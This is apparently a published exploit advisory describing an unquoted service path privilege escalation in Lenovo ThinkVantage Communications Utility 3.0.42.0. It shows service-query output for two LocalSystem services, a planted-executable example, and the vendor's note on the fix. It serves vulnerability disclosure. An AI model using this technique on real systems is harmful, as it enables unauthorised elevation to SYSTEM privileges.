71 lines
No EOL
2.5 KiB
Text
71 lines
No EOL
2.5 KiB
Text
# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation
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# Date: 10/19/2016
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# Exploit Author: Joey Lane
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# Version: 3.0.42.0
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# Tested on: Windows 7 Professional
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The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted
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service paths. This enables a local privilege escalation vulnerability.
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To exploit this vulnerability, a local attacker can insert an executable file in the path
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of either service. Rebooting the system or restarting either service will run the malicious
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executable with elevated privileges.
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This was tested on version 3.0.42.0, but other versions may be affected as well.
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---------------------------------------------------------------------------
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C:\>sc qc LENOVO.CAMMUTE
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: LENOVO.CAMMUTE
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 0 IGNORE
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BINARY_PATH_NAME : C:\Program Files\Lenovo\Communications Utility\CAMMUTE.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : Lenovo Camera Mute
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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C:\>sc qc LENOVO.TPKNRSVC
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: LENOVO.TPKNRSVC
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 0 IGNORE
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BINARY_PATH_NAME : C:\Program Files\Lenovo\Communications Utility\TPKNRSVC.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : Lenovo Keyboard Noise Reduction
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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---------------------------------------------------------------------------
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EXAMPLE:
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Using the BINARY_PATH_NAME listed above as an example, an executable named
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"Program.exe" could be placed in "C:\", and it would be executed as the
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Local System user next time the service was restarted.
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############################################################
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From Lenovo PSIRT:
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This issue was fixed in version 3.0.44.0, which was released on June 4, 2013. README for Lenovo Communications Utility program:
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https://download.lenovo.com/pccbbs/mobiles/grcu19ww.txt
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3.0.44.0 01 2013/06/04
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<3.0.44.0>
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- (Fix) Fixed the vulnerability issue of service program registration.
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- (Fix) Fixed the issue that vcamsvc.exe might crash.
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- (Fix) Fixed the issue that TpKnrres.exe might crash.
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- (Fix) Fixed the issue that TPKNRSVC.exe might crash. |